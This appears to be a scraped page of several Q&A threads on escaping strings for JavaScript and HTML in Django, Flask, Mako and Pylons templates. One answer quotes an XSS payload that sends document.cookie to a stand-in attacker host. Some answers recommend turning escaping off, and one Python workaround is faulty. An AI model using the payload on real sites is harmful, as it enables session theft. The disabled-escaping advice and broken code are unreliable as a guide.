I'm trying to render a string into a javascript ( which usually works fine for me ) here's my code
HTML:
THE USER NAME IS : {{name}} has added app {{has_added_app}}
JAVA SCRIPT:
<script>
<!--
var userName = {{name}}
The html version works the javascript fails when I have tried the same rendering in javascript before and it worked.
var userName = {{name}}
Comes out when you view the HTML source as:
var userName = Bob
Which is an obvious mistake: missing quotes. But, simply putting quotes around it:
var userName = '{{name}}';
isn't good enough for the general case. What if the string contains a quote character, or a backslash, or a newline? Best case, your app falls over. Worst case, cross-site-scripting security hole. What's more a & or < character in the name won't come through properly either, as Django autoescape will probably assume it's in a non-CDATA HTML context and inappropriately &-escape them.
Use the escapejs filter instead:
var userName = '{{name|escapejs}}';
Alternatively use a JSON encoder to turn any basic datatype into JavaScript literal format, not just string. There's json in the standard library from 2.6, but note this doesn't escape the < character in strings, so for injecting code into a script element you'd have to escape that manually to prevent a </script> sequence ending the CDATA element prematurely.
comments for the javascript:
var userName = "{{name}}";
Remember that Django templates are purely textual: they don't "know" that you're creating Javascript. You need to include the quotes that Javascript needs around a string literal:
var userName = "{{name}}";
Related
I'm using Python 3.7 and Django. I want to get a string from a template in Python and make the apporpriate substitutions like so ...
src = Template(filein.read())
# document data
relative_path = article.path.replace(settings.REDDIT_URL_PREFIX, "")
d = {'relative_path': relative_path, 'comment': comment}
# do the substitution
result = src.substitute(d)
However, there is one problem. My template contains this
["xpath=//a[#onclick='$(this).parent().submit()']", "xpath:attributes"],
The dollar sign is usually used for substitution, and so maybe for this reason, my above code is dying with the error ...
ValueError: Invalid placeholder in string: line 248, col 31
Does anyone know how I modify the above template line so that the substitution mechanism ignores the dollar sign on that line?
Three options:
1) Follow the escaping rules
https://www.simplifiedpython.net/python-template-class/
“$$“ is an escape ; it is replaced with a single “$“.
“$identifier“ names a substitution placeholder matching a mapping key
of “identifier”. By default, “identifier” must spell a Python
identifier. The first non-identifier character after the “$”
character terminates this placeholder specification.
“${identifier}“ is equivalent to “$identifier“. It is required when
valid identifier characters follow the placeholder but are not part
of the placeholder, such as “${noun}ification”.
2) Follow my twisted workaround
In a regular django template you can place {{ verbatium}} {{end verbatium}} around javascript, but you are using Python's new string Template. I think you are going to have to sanitize your string in some manner, then reverse it after the substitution. You would have to first load your file as a string, then convert to a template
with open("/path/to/myfile.txt", "rb") as myfile:
initial = "/n".join(myfile.readlines()[1:])
initial.replace('$(this)',"QXQQQXQ")
src = Template(initial)
result = src.substitute(d)
result.replace("QXQQQXQ", '$(this)')
3) Just use regular django Templates
Django templates have all sorts of constructs that lets you turn dictionary data into a functioning web page beyond simple value substitutions
Basically I'm building a chatbot using python. When running on python, I can display the answer with multiple lines by using \n tag. However , when I bring it to HTML to display it on website using Flask, it cannot render \n tag so there is no line break.
I have also tried to replace \n to <br/> but no help. It prints out the br tag instead of converting it to a line break.
Please guide.
in some textArea <br/> will not word
you can use
to brekline
just like use to stand for space in html
You could try to pass <br> It's the escaped <br> Tag Link
Try using these options.
If your content-type is html, then use
"String to be displayed"+"<br \>"+"The string to be displayed in new line"
Else, If your content-type is plain text then use
"String to be displayed"+"\n"+"The string to be displayed in new line"
I had the same problem. Despite i used Django for my website i suppose the logic and syntax are the same.
You can do it through the variable and adding "|safe" in your html code.
For example, in your python code you have:
broken_string = "first line<br>second line"
and
return render_template('index.html', html_broken_string = broken_string)
And in your HTML code you should have:
{{ html_broken_string|safe }}
That should do the work.
P.S: I don't remember if you can actually pass string directly in your render_tamplate() function and omit creation of a new variable in Flask, so i didn't write that. But you can try.
I'm reading a text file, splitting it on \n and putting the results in a Python list.
I'm then using JSONEncoder().encode(mylist), but the result throws errors as it produces the javascript:
var jslist = ["List item 1", "List item 2"]
I'm guessing switching to single quotes would solve this, but it's unclear how to force JSONEncoder/python to use one or the other.
Update: The context is a pyramid application, here's the end of the function (components is the name of the list:
return {'components': JSONEncoder().encode(components)}
and then in the mako template:
var components = ${components};
which is being replaced as above.
mako is escaping your strings because it's a sane default for most purposes. You can turn off the escaping on a case-by-case basis:
${components | n}
If you are embedding the JSON on a HTML page, beware. As Mako does not know about script tags, so it goes on to escape the string using the standard escapes. However a <script> tag has different escaping rules. Notably, NOT escaping makes your site prone to Cross-Site Scripting attacks if the JSON contains user-generated data. Consider the following info in User-editable field (user.name)
user.name = "</script><script language='javascript'>" +
"document.write('<img src=\'http://ev1l.com/stealcookies/?'" +
"+ document.cookie + '/>');</script><script language='vbscript'>"
Alas, Python JSON encoder does not have an option for safely encoding JSON so that it
is embeddable within HTML - or even Javascript (a bug has been entered into Python bug db). Meanwhile you should use ensure_ascii=True + replace all '<' with '\\u003c' to avoid hacking by malicious users.
I have a blog written in django that I am attempting to add syntax highlighting to. The posts are written and stored in the database as textile markup. Here is how they are supposed to be rendered via template engine:
{{ body|textile|pygmentize|safe }}
It renders all the HTML correctly and the code gets highlighted, but some characters within the code blocks are being escaped. Specifically double quotes, single quotes, and greater than signs.
Here is the Pygments filter I am using: http://djangosnippets.org/snippets/416/
I'm not sure which filter is actually putting the escaped characters in there or how to make it stop that. Any suggestions?
shameless plug to me answering this on another page:
https://stackoverflow.com/a/10138569/1224926
the problem is beautifulsoup (rightly) assumes code is unsafe. but if you parse it into a tree, and pass that in, it works. So your line:
code.replaceWith(highlight(code.string, lexer, HtmlFormatter()))
should become:
code.replaceWith(BeautifulSoup(highlight(code.string, lexer, HtmlFormatter())))
and you get what you would expect.
I'm developing under Pylons using Mako templates. The problem is that I need to assign a string from some attribute of tmpl_context to a JavaScript variable in a page body. The additional problem is that this string can be quite arbitrary, ie can contain such characters like ", ', <, >, etc... Is there a common way to do such assignment?
I've tried something like:
<script>
...
var a = "${c.my_string}";
...
</script>
but I get quotation marks and HTML special characters escaped. But I would not like to disable filtering because of possible danger of executing of unexpected code.
You have some arbitrary data in c.my_string, and therefore do not want to use "|n", right?
Quickiest way to escape it in JS-style escaping would be
var a = ${c.my_string.__repr__()|n}; # Note lack of "" around it!
However I'm unsure about <> characters (with something like </script> inserted), maybe you would also want to use .replace('<', '<');
For unicode you will need to also strip 'u' character from start of the string.
if I understood what you want, try webhelpers.html.literal:
helper:
from webhelpers.html import literal
html:
<script>
document.write('${h.literal(c.my_string)}');
</script>
this is better than ${c.mystring|n} escaping html